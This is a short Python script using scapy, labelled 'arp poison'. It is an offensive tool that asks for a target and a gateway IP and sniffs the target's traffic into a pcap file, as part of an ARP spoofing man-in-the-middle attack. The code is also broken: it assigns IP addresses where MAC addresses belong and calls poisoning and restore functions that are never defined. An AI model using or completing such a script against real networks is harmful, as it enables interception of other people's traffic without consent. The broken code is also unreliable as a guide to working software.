arp poison

from scapy.all import *
import os
import sys
import threading
import signal

# Enter your own wifi interface
interface = "TAP-Windows Adapter V9"
target_ip = input("Enter target ip >> ")
gateway_ip = input("Enter gateway ip >> ")

packet_count = 1000

conf.iface = interface

conf.verb = 0

print ("[*] Setting up %s" % interface)



gateway_mac = (gateway_ip)

if gateway_mac is None:
    print("[!][!][!] Failed to get gateway Mac. Exiting.")
    sys.exit(0)
else:
    print ("[*] gateway %s is at %s" % (gateway_ip,gateway_mac))

target_mac = (target_ip)
if target_mac is None:
    print ("[!!!] Failed to get target MAC. Exiting.")
    sys.exit(0)
else:
    print ("[*] Target %s is at %s" % (target_ip,target_mac))



def poison_thread():
    poison_thread = threading.Thread(target = poison_target, args =
        (gateway_ip, gateway_mac, target_ip,target_mac))
    poison_thread.start()

try:
    print ("[*] Starting sniffer for %d packets" % (packet_count))

    bpf_filter = "ip host %s" % target_ip
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

    wrpcap('arper.pcap',packets)

    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)

except KeyboardInterrupt:
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)